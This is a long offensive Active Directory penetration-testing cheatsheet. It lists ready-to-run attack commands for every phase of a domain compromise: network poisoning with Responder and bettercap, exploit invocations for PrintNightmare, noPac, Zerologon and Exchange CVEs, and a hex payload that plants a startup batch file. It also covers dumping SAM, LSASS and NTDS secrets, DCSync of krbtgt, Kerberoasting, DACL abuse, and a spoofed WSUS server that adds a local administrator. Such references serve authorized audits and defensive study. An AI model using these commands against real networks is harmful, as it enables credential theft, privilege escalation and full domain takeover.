Active Directory - Python edition This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_. I will try to put as many links as possible at the end of the page to direct to more complete resources. Misc Internal audit mindmap Insane mindmap by @M4yFly. Find the domain and the DCs Generally the domain name can be found in /etc/resolv.conf Then the DNS is generally installed on the DC : nslookup domain.local Usernames wordlist Create a wordlist of usernames from list of Surname Name Code here python3 namemash.py users.txt > usernames.txt Initial Access What to do when you are plugged on the network without creds. NTLM authentication capture on the wire with Responder poisoning, maybe in NTLMv1 ? Relay the NTLM authentications to interesting endpoints, be careful to the signing SMB socks to list/read/write the shares LDAP to dump the directory LDAPS (or maybe SMB if signing not required) to add a computer account ... ARP poisoning with bettercap, can be used to poison ARP tables of targets and receive authenticated requests normally destinated to other devices. Interesting scenarios can be found here. By sniffing everything on the wire with Wireshark, some secrets can be found with PCredz. First, run bettercap with this config file: # quick recon of the network net.probe on # set the ARP poisoning set arp.spoof.targets set arp.spoof.internal true set arp.spoof.fullduplex true # control logging and verbosity events.ignore endpoint events.ignore net.sniff.mdns # start the modules arp.spoof on net.sniff on sudo ./bettercap --iface --caplet spoof.cap Then sniff with Wireshark. When it is finish, save the trace in a .pcap file and extract the secrets: python3 ./Pcredz -f extract.pcap Poison the DHCPv6 answer to receive NTLM or Kerberos authentication NTLM auths can be relayed with ntlmrelayx Kerberos auths can be relayed with krbrelayx to HTTP endpoints (ADCS, SCCM AdminService API) Search for a domain account Look for SMB Guest and null session, and LDAP null bind # Check SMB Guest logon and Null session nxc smb # SMB Null/Anonymous session on a DC nxc smb -u '' -p '' --users # LDAP null bind nxc ldap -u '' -p '' --users Perform RID cycling through SMB null session nxc smb -u '' -p '' --rid-brute 10000 Perform bruteforce attacks With SMB login bruteforce With Kerbrute bruteforce Allows you to bruteforce Kerberos on user accounts while indicating whether the user account exists or not. Another advantage over smb_login is that it doesn't correspond to the same EventId, thus bypassing potential alerts. The script can work with 2 independent lists for users and passwords, but be careful not to block accounts! ./kerbrute userenum -domain domain.local users.txt Test for the Top1000 with login = password Possible other passwords: (empty) password P@ssw0rd Look for juicy CVEs Search for devices like printers, routers, or similar stuff with default creds In case a printer (or something similar) has an LDAP account, but use the SASL authentication family instead of SIMPLE, the classic LDAP passback exploitation with a nc server will not be sufficient to retrieve the credentials in clear text. Instead, use a custom LDAP server that only offer the weak PLAIN and LOGIN protocols. This Docker permits to operate with weak protocols. docker buildx build -t ldap-passback . docker run --rm -ti -p 389:389 ldap-passback In parallel, listen with tshark: tshark -i any -f "port 389" \ -Y "ldap.protocolOp == 0 && ldap.simple" \ -e ldap.name -e ldap.simple -Tjson CVEs AD oriented CVE-2025-33073 - NTLM Reflective relay Permits to relay a SMB authentication from a machine to itself, with SYSTEM privileges thanks to Local NTLM authentication. SMB signing must not be enforced to relay from SMB to SMB. If services such as WinRM/S, MSSQL, or HTTP/S are active on the machine (Windows Servers or ADCS PKI, for example), relaying is still possible, even with signing or EPA enabled! Only a complete patch truly blocks it. The only exceptions are LDAPS and RPC. #Check if a computer is vulnerable nxc smb -u user1 -p password -M ntlm_reflection #Setup DNS dnstool.py -u 'domain.local\user1' -p password -a add -r $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d # Or, to target any computer dnstool.py -u 'domain.local\user1' -p password -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d #Coerce PetitPotam.py -u user1 -p password -d domain.local $TARGET_NETBIOS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA TARGET.DOMAIN.LOCAL #Chose the service to relay ntlmrelayx.py -t -smb2support -socks ntlmrelayx.py -t mssql:// -smb2support -socks ntlmrelayx.py -t winrms:// -smb2support -socks SPNEGO RCE (CVE-2022-37958) - No public POC for the moment PetitPotam pre-auth (CVE-2022-26925) If the target is not patched, this CVE can be exploited without creds. ./petitpotam.py -pipe all NoPac (a.k.a. SamAccountName Spoofing, CVE-2021-42278 and CVE-2021-42287) To exploit these vulnerabilities you need to already control a computer account or have the right to create a new one. #Get ST python3 noPac.py domain.local/user1:'password' -dc-ip #Auto dump the hash python3 noPac.py domain.local/user1:'password' -dc-ip --impersonate administrator -dump -just-dc-user domain/krbtgt PrintNightmare (CVE-2021-1675 / CVE-2021-34527) #Load a DLL hosted on a SMB server on the attacker machine ./printnightmare.py -dll '\\\smb\add_user.dll' 'user1:password@' #Load a DLL hosted on the target, and specify a custom driver name ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' -name 'Patapouf' 'user1:password@' Zerologon (CVE-2020-1472) The relay technique is preferable to the other one which is more risky and potentially destructive. See in the link. EternalBlue / Blue Keep (MS17-010 / CVE-2019-0708) The exploits in the Metasploit framework are good for these two CVEs. #EternalBlue msf6 exploit(windows/smb/ms17_010_psexec) > #Blue Keep msf6 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > SMBGhost (CVE-2020-0796) Be careful, this exploit is pretty unstable and the risk of BSOD is really important. The exploit in the Metasploit framework is good for this CVE. msf6 exploit(windows/smb/cve_2020_0796_smbghost) > RC4-MD4 downgrade (CVE-2022-33679) To exploit this CVE the RC4-MD4 encryption must be enabled on the KDC, and an AS-REP Roastable account is needed to obtain an ST for the target. ./CVE-2022-33079.py -dc-ip domain.local/ Credentials Roaming (CVE-2022-30170) # Fetch current user object $user = get-aduser -properties @('msPKIDPAPIMasterKeys','msPKIAccountCredentials', 'msPKI-CredentialRoamingTokens','msPKIRoamingTimestamp') # Install malicious Roaming Token (spawns calc.exe) $malicious_hex = "25335c2e2e5c2e2e5c57696e646f77735c5374617274204d656e755c50726f6772616d735c537461727475705c6d616c6963696f75732e6261740000000000000000000000000000000000000000000000000000000000000000000000000000f0a1f04c9c1ad80100000000f52f696ec0f1d3b13e9d9d553adbb491ca6cc7a319000000406563686f206f66660d0a73746172742063616c632e657865" $attribute_string = "B:$($malicious_hex.Length):${malicious_hex}:$($user.DistinguishedName)" Set-ADUser -Identity $user -Add @{msPKIAccountCredentials=$attribute_string} -Verbose # Set new msPKIRoamingTimestamp so the victim machine knows an update was pushed $new_msPKIRoamingTimestamp = ($user.msPKIRoamingTimestamp[8..15] + [System.BitConverter]::GetBytes([datetime]::UtcNow.ToFileTime())) -as [byte[]] Set-ADUser -Identity $user -Replace @{msPKIRoamingTimestamp=$new_msPKIRoamingTimestamp} -Verbose Bronze Bit (CVE-2020-17049) To exploit this CVE, a controlled service account with constrained delegation to the target account is needed. getST.py -force-forwardable -spn -impersonate Administrator -dc-ip -hashes : domain.local/ MS14-068 goldenPac.py 'domain.local'/'user1':'password'@ Targeting Exchange server ProxyNotShell / ProxyShell / ProxyLogon (CVE-2022-41040 & CVE-2022-41082 / CVE-2021-34473 & CVE-2021-34523 & CVE-2021-31207 / CVE-2021-26855 & CVE-2021-27065) The exploits in the Metasploit framework are good for these three CVEs. msf6 exploit(windows/http/exchange_proxynotshell_rce) > msf6 exploit(windows/http/exchange_proxyshell_rce) > msf6 exploit(windows/http/exchange_proxylogon_rce) > CVE-2023-23397 This CVE permits to leak the NTLM hash of the target as soon as the email arrives in his Outlook mail box. This PoC generates a .msg file containing the exploit in the pop-up sound attribute. It is up to you to send the email to the target. python3 CVE-2023-23397.py --path '\\\' Before sending the email, run Responder to intercept the NTLM hash. For local privesc Look at the Active Directory cheatsheet for this part. Domain Enumeration Domain policy Current domain #Domain policy with ldeep ldeep ldap -u user1 -p password -d domain.local -s domain_policy #Password policy with NXC nxc smb -u user1 -p password --pass-pol Another domain ldeep ldap -u user1 -p password -d domain.local -s domain_policy Domain controller The DNS is generally on the DC. nslookup domain.local nxc smb -u user1 -p password Users enumeration List users ldeep ldap -u user1 -p password -d domain.local -s users User's properties ldeep ldap -u user1 -p password -d domain.local -s users -v nxc ldap -u user1 -p password -M get-desc-users -M get-info-users -M get-unixUserPassword -M getUserPassword Search for a particular string in attributes ldeep ldap -u user1 -p password -d domain.local -s users -v |grep -i password Actively logged users on a machine Needs local admin rights on the target nxc smb -u user1 -p password --sessions User hunting Find machine where the user has admin privs If a Pwned connection appears, admin rights are present. However, if the UAC is present it can block the detection. nxc smb -u user1 -p password Find local admins on a domain machine lookupadmins.py python3 lookupadmins.py domain.local/user1:password@ #NXC nxc smb -u user1 -p password --local-groups Administrators Computers enumeration ldeep ldap -u user1 -p password -d domain.local -s machines #Full info ldeep ldap -u user1 -p password -d domain.local -s machines -v #Hostname enumeration ldeep ldap -u user1 -p password -d domain.local -s computers ldeep ldap -u user1 -p password -d domain.local -s computers --resolve Groups enumeration Groups in the current domain ldeep ldap -u user1 -p password -d domain.local -s groups #Full info ldeep ldap -u user1 -p password -d domain.local -s groups -v Search for a particular string in attributes ldeep ldap -u user1 -p password -d domain.local -s groups -v |grep -i admin All users in a specific group ldeep ldap -u user1 -p password -d domain.local -s membersof -v All groups of an user ldeep ldap -u user1 -p password -d domain.local -s memberships Local groups enumeration nxc smb -u user1 -p password --local-groups Members of a local group nxc smb -u user1 -p password --local-groups Shares / Files Find shares on the domain nxc smb -u user1 -p password --shares A module for searching network shares:spider_plus. Running the module without any options (on a /24, for example) will produce a JSON output for each server, containing a list of all files (and some info), but without their contents. Then grep on extensions (conf, ini...) or names (password .. ) to identify an interesting file to search: nxc smb -u user1 -p password -M spider_plus Then, when identifying a lot of interesting files, to speed up the search, dump this on the attacker machine by adding the -o READ_ONLY=False option after the -M spider_plus (but avoid /24, otherwise it'll take a long time). In this case, NetExec will create a folder with the machine's IP, and all the folders/files in it. nxc smb -u user1 -p password -M spider_plus -o READ_ONLY=False Manspider can also be used for this purpose. It permits to crawl all the shares or specific ones, and filter on file extensions, file names, and file contents. # Filter on file names manspider -f passw user admin account network login logon cred -d domain -u user1 -p password # Search for content manspider -c passw cpassword -d domain -u user1 -p password # Search for file extension manspider -e bat com vbs ps1 psd1 psm1 pem key rsa pub reg pfx cfg conf config vmdk vhd vdi dit -d domain -u user1 -p password Parameters can be combined. Find files with a specific pattern nxc smb -u user1 -p password --spider --content --pattern pass Find files with sensitive data Python version of Snaffler pysnaffler 'smb2+ntlm-password://domain\user1:password@' GPO enumeration List of GPO in the domain ldeep ldap -u user1 -p password -d domain.local -s gpo Parse all GPO nxc smb -u user1 -p password -M gpp_privileges # With gpoParser gpoParser remote -u user1 -p password -d domain.local -s gpoParser query # To enrich BloodHound gpoParser enrich -u $NEO4J_USER -p $NEO4J_PASS -s $NEO4J_SERVER # With GPOHound # Download SYSVOL smbclient -U "user1"%"password" ///SYSVOL -c "recurse; prompt; mget *;" # Dump GPO from SYSVOL gpohound dump --neo4j-user $NEO4J_USER --neo4j-pass $NEO4J_PASS -S ./SYSVOL --gpo-name # Import in BloodHound gpohound analysis --neo4j-user $NEO4J_USER --neo4j-pass $NEO4J_PASS -S ./SYSVOL --enrich Organisation Units OUs of the domain and their linked GPOs ldeep ldap -u user1 -p password -d domain.local -s ou Computers within an OU ldeep ldap -u user1 -p password -d domain.local -s machines -v |grep -i "OU=" |grep -i "distinguishedName" DACLs All ACLs associated to an object (inbound) #With samAccountName dacledit.py -action read -target -dc-ip domain.local/user1:password #With DN dacledit.py -action read -target-dn -dc-ip domain.local/user1:password #With SID dacledit.py -action read -target-sid -dc-ip domain.local/user1:password Outbound ACLs of an object These are the rights a principal has against another object dacledit.py -action read -target -principal <-dc-ip domain.local/user1:password Trusts Trusts for the current domain ldeep ldap -u user1 -p password -d domain.local -s trusts All In One ldeep ldap -u user1 -p password -d domain.local -s all BloodHound The Bloodhound-python module doesn't support all the SharpHound features (essentially about GPOs) DNS resolution Sometimes the DNS resolution to find the DC doesn't work very well. dnschef can solve this problem: dnschef --fakeip --fakedomains domain.local -q Then, in the BloodHound command specify the DNS address with -ns 127.0.0.1, dnschef will do the work. Basic usage # Default collection bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local --zip # All collection excepted LoggedOn bloodhound-python -u user1 -p password -d domain.local -c all -dc DC.domain.local --zip #With LoggedOn bloodhound-python -u user1 -p password -d domain.local -c all,LoggedOn -dc DC.domain.local --zip #Only collect from the DC, doesn't query the computers (more stealthy) bloodhound-python -u user1 -p password -d domain.local -c DCOnly -dc DC.domain.local --zip Specify another Global Catalog bloodhound-python -u user1 -p password -d domain.local -dc DC.domain.local -gc --zip Interesting Neo4j queries Users with SPNs MATCH (u:User {hasspn:true}) RETURN u AS-REP Roastable users MATCH (u:User {dontrepreauth:true}) RETURN u Computers AllowedToDelegate to other computers MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) return p Shortest path from Kerberoastable user MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p Computers in Unconstrained Delegations MATCH (c:Computer {unconsraineddelegation:true}) RETURN c Rights against GPOs MATCH (gr:Group), (gp:GPO), p=((gr)-[:GenericWrite]->(gp)) return p Potential SQL Admins MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) return p LAPS Machine with LAPS enabled MATCH (c:Computer {haslaps:true}) RETURN c Users with read LAPS rights against "LAPS machines" MATCH p=(g:Group)-[:ReaLAPSPassword]->(c:Computer) return p SOAPHound A tool to gather LDAP information through the ADWS service with SOAP queries instead of the LDAP one. Data can be displayed in BloodHound. This tool is presented in the Active Directory cheatsheet. AD Miner AD Miner is another solution to display BloodHound data into a web based GUI. It is usefull for its Smartest paths feature that permits to display the, sometimes longer, but simpler compromission path (for example, when the shortest path implies a ExecuteDCOM edge). MSSQL With MSSQLHound. Presented in the Active Directory cheatsheet. Lateral Movement WinRM evil-winrm -u user1 -p password -i evil-winrm permits to open an interactive WinRM session where it is possible to upload and download items between the target and the attacker machine, load PowerShell scripts, etc. SMB From one computer to another one psexec.py domain.local/user1:password@ From one computer to many ones nxc smb -u user1 -p password -X Execute immediat scheduled task #As the session 0 (SYSTEM) atexec.py domain.local/user1:password@ #As the user of another session on the machine atexec.py -session-id domain.local/user1:password@ nxc smb -u user1 -p password -M schtask_as -o USER=user2 CMD= nxc smb -u user1 -p password -M schtask_as -o USER=user2 CMD=certreq CA= TEMPLATE=User WMI wmiexec.py domain.local/user1:password@ ShellBrowserWindow DCOM object dcomexec.py domain.local/user1:password@ Credentials gathering Check RunAsPPL Check if RunAsPPL is enabled in the registry. nxc smb -u user1 -p password -M runasppl Dump creds remotely #Dump SAM database on a machine nxc smb -u user1 -p password --sam #Dump LSA secrets on a machine nxc smb -u user1 -p password --lsa #In a PDF with LSA_reg2pdf, exec get_pdf, and get_bootkey on your host to parse the PDF .\get_pdf.exe 1 python3 get_bootkey.py #Dump through remote registry reg.py -o \\\share domain.local/user1:password@ backup reg.py domain.local/user1:password@ query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' #Dump with an alternative method, regsecrets.py, more discreet regsecrets.py domain.local/user1:password@target.domain.local #Dump the lsass process and parse it nxc smb -u user1 -p password -M lsassy nxc smb -u user1 -p password -M nanodump nxc smb -u user1 -p password -M mimikatz nxc smb -u user1 -p password -M procdump lsassy -u user1 -p password -d domain.local minidump domain.local/user1:password@dc.domain.local:/C$/Windows/Temp/lsass.dmp # Impacket # Via DRSUAP secretsdump.py domain.local/user1:password@ # Via NTDSUTIL secretsdump.py domain.local/user1:password@ -use-vss -just-dc # Via WMI Shadow Snapshot secretsdump.py domain.local/user1:password@ -use-remoteSSWMI -use-remoteSSWMI-NTDS -just-dc # NetExec # Raw dump depuis le disque dur. Aussi disponible via winrm et wmi nxc smb -u user1 -p password -M ntds-dump-raw # Via NTDSUTIL nxc smb -u user1 -p password -M ntdsutil # Via DRSUAPI ou VSS nxc smb -u user1 -p password --ntds [{drsuapi,vss}] #DCSync only the NT && LM hashes of a user secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/user1:password@ #Retrieve NT hashes via Key List Attack on a RODC #Attempt to dump all the users' hashes even the ones in the Denied list #Low privileged credentials are needed in the command for the SAMR enumeration keylistattack.py -rodcNo -rodcKey -full domain.local/user1:password@RODC-server #Attempt to dump a specific user's hash keylistattack.py -rodcNo -rodcKey -t user1 -kdc RODC-server.domain.local LIST #Certsync - retrieve the NT hashes of all the users with PKINIT #Backup the private key and the certificate of the Root CA, and forge Golden Certificates for all the users #Authenticate with all the certificate via PKINIT to obtain the TGTs and extract the hashes with UnPAC-The-Hash certsync -u administrator -p 'password' -d domain.local -dc-ip #Provide the CA .pfx if it has been obtained with another way certsync -u administrator -p 'password' -d domain.local -dc-ip -ca-pfx CA.pfx Many techniques to dump LSASS : https://redteamrecipe.com/50-Methods-For-Dump-LSASS/ Extract creds locally The SYSTEM hive is needed to retrieve the bootkey and decipher the DB files. #Extract creds from SAM and SECURITY (LSA cached secrets) secretsdump.py -system ./system.save -sam ./sam.save -security ./security.save LOCAL #Extract creds from NTDS.dit secretsdump.py -system ./system.save -ntds ./NTDS.save LOCAL Read an LSASS dump with pypykatz: pypykatz lsa --json minidump $i | jq 'first(.[]).logon_sessions | keys[] as $k | (.[$k] | .credman_creds)' | grep -v "\[\]" | grep -v "^\[" | grep -v "^\]" Credentials Vault & DPAPI Decipher Vault with Master Key dpapi.py vault -vcrd -vpol -key Dump all secrets on a remote machine DonPAPI.py domain.local/user1:password@ Extract the domain backup key with a Domain Admin dpapi.py backupkeys --export -t domain.local/user1:password@ Dump all user secrets with the backup key DonPAPI.py -pvk domain_backupkey.pvk domain.local/user1:password@ GPPPassword & GPP Autologin Find and decrypt Group Policy Preferences passwords. Get-GPPPassword.py domain.local/user1:password@ #Specific share Get-GPPPassword.py -share domain.local/user1:password@ #GPP autologin nxc smb -u user1 -p password -M gpp_autologin -M gpp_password Credentials in third-party softwares Many applications present on a computer can store credentials, like KeePass, KeePassXC, mstsc and so on. python3 client/ThievingFox.py poison --all domain.local/user1:password@ python3 client/ThievingFox.py collect --all domain.local/user1:password@ python3 client/ThievingFox.py cleanup --all domain.local/user1:password@ nxc smb -u user1 -p password -M aws-credentials -M entra-sync-creds -M wam -M eventlog_creds -M iis -M keepass_trigger -M mobaxterm -M mremoteng -M msol -M notepad -M notepad++ -M powershell_history -M putty -M rdcman -M recent_files -M recyclebin -M veeam -M vnc -M wifi -M winscp Force a NTLM authentication from a connected user This attack weaponize DCOM objects to perform actions on behalf of an interactively connected user. Can be mixed with the NTLM downgrade or WebClient attacks to obtain NTLMv1 or HTTP authentication. Explains here. #With NTLM downgrade RemoteMonologue.py domain/user1:password@target -auth-to -downgrade #With WebClient and an alternative DCOM object RemoteMonologue.py domain/user1:password@target -auth-to -webclient -dcom FileSystemImage Pass the Challenge This technique permits to retrieve the NT hashes from a LSASS dump when Credential Guard is in place. This modified version of Pypykatz must be used to parse the LDAP dump. Full explains here. This attack is presented in the Active Directory cheatsheet. Token manipulation Token impersonation with command execution and user addition Blog here. List available tokens, and find an interesting token ID nxc smb -u user1 -p password -M impersonate -o MODULE=list With only SeImpersonatePrivilege, if a privileged user's token is present on the machine, it is possible to run code on the domain as him and add a new user in the domain (and add him to the Domain Admins by default): nxc smb -u user1 -p password -M impersonate -o MODULE=adduser TOKEN= CMD="user2 password 'Domain Admins' \\dc.domain.local" With SeImpersonatePrivilege and SeAssignPrimaryToken, if a privileged user's token is present on the machine, it is possible to execute comands on the machine as him: nxc smb -u user1 -p password -M impersonate -o MODULE=exec TOKEN= CMD= Look at the Active Directory cheatsheet for other solutions. Tokens and ADCS With administrative access to a (or multiple) computer, it is possible to retrieve the different process tokens, impersonate them and request CSRs and PEM certificate for the impersonated users. masky -d domain.local -u user1 -p -dc-ip -ca -o Pass The Hash Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Hash with the -hashes command line parameter instead of specifying the password. For ldeep, NetExec and evil-winrm, it's -H. Over Pass The Hash / Pass The Key Globally, all the Impacket tools and the ones that use the library can authenticate via Pass The Key with the -aesKey command line parameter instead of specifying the password. For NetExec it's --aesKey. Kerberos authentication Request a TGT or a ST getTGT.py -dc-ip domain.local/user1:password getST.py -spn "cifs/target.domain.local" -dc-ip domain.local/user1:password Use the tickets Load a kerberos ticket in .ccache format : export KRB5CCNAME=./ticket.ccache Globally, all the Impacket tools and the ones that use the library can authenticate via Kerberos with the -k -no-pass command line parameter instead of specifying the password. For ldeep it's -k. For NetExec it is -k with credentials to perform the whole Kerberos process and authenticate with the ticket. If a .ccache ticket is already in memory, it is -k --use-kcache. For evil-winrm it's -r --spn (default 'HTTP'). The realm must be specified in the file /etc/krb5.conf using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } If the Kerberos ticket is in .kirbi format it can be converted like this: ticketConverter.py ticket.kirbi ticket.ccache ADIDNS poisoning How to deal with the Active Directory Integrated DNS and redirect the NTLM authentications to us By default, any user can create new ADIDNS records But it is not possible to change or delete a record we are not owning By default, the DNS will be used first for name resolution in the AD, and then NBT-NS, LLMNR, etc If the wilcard record (*) doesn't exist, we can create it and all the authentications will arrive on our listener, except if the WPAD configuration specifically blocks it. Wildcard attack The char * can't be added via DNS protocol because it will break the request. Since we are in an AD we can modify the DNS via LDAP: # Check if the '*' record exist python3 dnstool.py -u "domain.local\user1" -p "password" -a query -r "*" # creates a wildcard record python3 dnstool.py -u "domain.local\user1" -p "password" -a add -r "*" -d # disable a node python3 dnstool.py -u "domain.local\user1" -p "password" -a remove -r "*" # remove a node python3 dnstool.py -u "domain.local\user1" -p "password" -a ldapdelete -r "*" Feature abuse SCCM / MECM - PXE boot Check the dedicated page. WSUS Spoof the WSUS server and hijack the update if the updates are pushed through HTTP and not HTTPS #Find the WSUS server with the REG key reg.py -dc-ip 'domain.local'/'user1':'password'@server.domain.local query -keyName 'HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v wuserver' #Setup the fake WSUS server python3.exe pywsus.py --host --port 8530 --executable ./PsExec64.exe --command '/accepteula /s cmd.exe /c "net user usser1 Password123! /add && net localgroup Administrators user1 /add"' And ARP spoofing with bettercap and a wsus_spoofing.cap like this: # quick recon of the network net.probe on # set the ARP spoofing set arp.spoof.targets $client_ip set arp.spoof.internal false set arp.spoof.fullduplex false # reroute traffic aimed at the WSUS server set any.proxy.iface $interface set any.proxy.protocol TCP set any.proxy.src_address $WSUS_server_ip set any.proxy.src_port 8530 set any.proxy.dst_address $attacker_ip set any.proxy.dst_port 8530 # control logging and verbosity events.ignore endpoint events.ignore net.sniff # start the modules any.proxy on arp.spoof on net.sniff on bettercap --iface --caplet wsus_spoofing.cap Now wait for update verification or manually trigger with a GUI access on the machine. Pre-Windows 2000 Computers Everything is explained here. nxc ldap -u user1 -p password -M pre2k Domain Privesc Kerberoast The Kerberos service ticket (ST) has a server portion which is encrypted with the password hash of service account. This makes it possible to request a ticket and do offline password attack. Password hashes of service accounts could be used to create Silver Tickets. Find user with SPN GetUserSPNs.py -dc-ip domain.local/user1:password #In another domain through trust GetUserSPNs.py -dc-ip -target-domain domain.local/user1:password Request in JtR/Hashcat format GetUserSPNs.py -dc-ip -request -outputfile hash.txt domain.local/user1:password Force RC4 downgrade even on AES enabled targets to obtain tickets more easy to crack: pypykatz kerberos spnroast -d domain.local -t -e 23 'kerberos+password://domain.local\user1:password@' Crack the hash john hash.txt --wordlist=./rockyou.txt hashcat -m 13100 -a 0 hash.txt rockyou.txt Kerberoast with DES This attack is presented in the Active Directory cheatsheet. Kerberoast w/o creds Without pre-authentication If a principal can authent without pre-authentication (like AS-REP Roasting), it is possible to use it to launch an AS-REQ request (for a TGT) and trick the request to ask for a ST instead for a kerberoastable principal, by modifying the sname attribut in the req-body part of the request. Full explains here. This PR must be used for the moment. GetUserSPNs.py -no-preauth -usersfile "users.txt" -dc-host "domain.local"/ With MitM If no principal without pre-authentication are present, it is still possible to intercept the AS-REQ requests on the wire (with ARP spoofing for example), and replay them to kerberoast. ritm -i -t -g -u users.txt AS-REP Roasting If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled (UF_DONT_REQUIRE_PREAUTH) -> Kerberos preauth is disabled -> it is possible to grab user's crackable AS-REP and brute-force it offline. With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be disabled. Enumerate users GetNPUsers.py -dc-ip domain.local/user1:password Request AS-REP GetNPUsers.py -dc-ip -request -format john domain.local/user1:password It is possible to force DES, if it is allowed. Look at the Active Directory cheatsheet. Crack the hash With john or hashcat it could be performed Hijacking GPP Name-Only sAMAccountName hijacking The theory behind this attack is explained in this article. Initial configuration: A user priv_usr has GenericWrite rights over another user low_priv. A GPP is configured to add a "Name-Only" member named nonexistentuser to the local Administrators group. First GPO application: The system try to resolve nonexistentuser, but fails (the user doesn't exist). No member is added to Administrators. sAMAccountName modification: The attacker uses their GenericWrite rights to change the sAMAccountName from low_priv to nonexistentuser. bloodyAD --host -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "nonexistentuser" GPO replication: The next time the GPO is applied (or via a manual command such as gpupdate /force), the system resolves nonexistentuser to the SID of low_priv. Result: low_priv is added to the Administrators group. UPN hijacking Initial configuration: A GPP is configured to add a "Name-Only" member in UPN format: existingusr@domain.local. A user named existingusr already exists in the domain with this UPN. sAMAccountName modification: The attacker changes the sAMAccountName of low_priv to match the UPN exactly: existingusr@domain.local(this format is permitted for a UPN). bloodyAD --host -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "existingusr@domain.local" GPO replication: During resolution, LsaLookupNames first searches for an exact match in the sAMAccountName field, before the UPN. Result: low_priv is added to the Administrators group instead of existingusr. GPP processus variables A GPP is linked to an OU containing the WS computer and adds %DomainName%\%ComputerName%_adm (i.e. DOMAIN\WS_adm) to the Administrators group. The attacker checks that WS_adm does not exist: bloodyAD --host -u "priv_usr" -p password get object "WS_adm" The attacker changes the sAMAccountName of low_priv to match WS_adm: bloodyAD --host -u "priv_usr" -p password set object "CN=low_priv,CN=Users,DC=domain,DC=local" sAMAccountName -v "WS_adm" Result: The next time GPP is applied, low_priv is added to the Administrators group on the WS machine. DACLs attacks DACLs packages Owns object WriteDacl GenericAll GenericWrite AllExtendedRights WriteOwner GenericWrite Self WriteProperty AllExtendedRights User-Force-Change-Password DS-Replication-Get-Changes DS-Replication-Get-Changes-All DS-Replication-Get-Changes-In-Filtered-Set On any objects WriteOwner With this rights on a user it is possible to become the "owner" (Grant Ownership) of the account and then change our ACLs against it owneredit.py -new-owner user1 -target user2 -dc-ip -action write 'domain.local'/'user1':'password' dacledit.py -action write -target user2 -principal user1 -rights ResetPassword -ace-type allowed -dc-ip 'domain.local'/'user1':'password' #And change the password net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local WriteDacl With this rights we can modify our ACLs against the target, and give us GenericAll for example dacledit.py -action write -target user2 -principal user1 -rights FullControl -ace-type allowed -dc-ip 'domain.local'/'user1':'password' In case where you have the right against a container or an OU, it is possible to setup the Inheritance flag in the ACE. The child objects will inherite the parent container/OU ACE (except if the object has AdminCount=1) dacledit.py -inheritance -action write -target 'CN=Users,DC=domain,DC=local' -principal user1 -rights FullControl -ace-type allowed -dc-ip 'domain.local'/'user1':'password' On an user WriteProperty ShadowCredentials pywhisker.py -t user2 -a add -u user1 -p password -d domain.local -dc-ip --filename user2 Targeted Kerberoasting We can then request a ST without special privileges. The ST can then be "Kerberoasted". GetUserSPNs.py -request-user user2 -dc-ip domain.local/user1:password New SPN must be unique in the domain #Set SPN on all the possible users, request the ticket and delete the SPN targetedKerberoast.py -u user1 -p password -d domain.local --only-abuse User-Force-Change-Password With enough permissions on a user, we can change his password net rpc password user2 -U 'domain.local'/'user1'%'password' -S DC.domain.local On a computer WriteProperty ShadowCredentials pywhisker.py -t computer$ -a add -u user1 -p password -d domain.local -dc-ip --filename user2 Kerberos RBCD AllExtendedRights ReadLAPSPassword nxc ldap -u user1 -p password -M laps -o computer="" ReadGMSAPassword ldeep ldap -u user1 -p password -d domain.local -s gmsa On a RODC GenericWrite Obtain local admin access Change the managedBy attribute value and add a controlled user. He will automatically gain admin rights. Retrieve Tiers 0 account's NT hashes It is possible to modify the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists on the RODC to allow Tiers 0 accounts to authenticate, and then forge RODC Golden Tickets for them to access other parts of the AD. powerview domain.local/user1:Password123@RODC-server.domain.local #First, add a domain admin account to the msDS-RevealOnDemandGroup attribute #Then, append the Allowed RODC Password Replication Group group PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local' PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' #If needed, remove the admin from the msDS-NeverRevealGroup attribute PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup WriteProperty WriteProperty on the msDS-NeverRevealGroup and msDS-RevealOnDemandGroup lists is sufficient to modify them. Obtain the krbtgt_XXXXX key is still needed to forge RODC Golden Ticket. powerview domain.local/user1:Password123@RODC-server.domain.local #First, add a domain admin account to the msDS-RevealOnDemandGroup attribute #Then, append the Allowed RODC Password Replication Group group PV > Set-DomainObject -Identity RODC-server$ -Set msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=domain,DC=local' PV > Set-DomainObject -Identity RODC-server$ -Append msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' #If needed, remove the admin from the msDS-NeverRevealGroup attribute PV > Set-DomainObject -Identity RODC-server$ -Clear msDS-NeverRevealGroup On a group 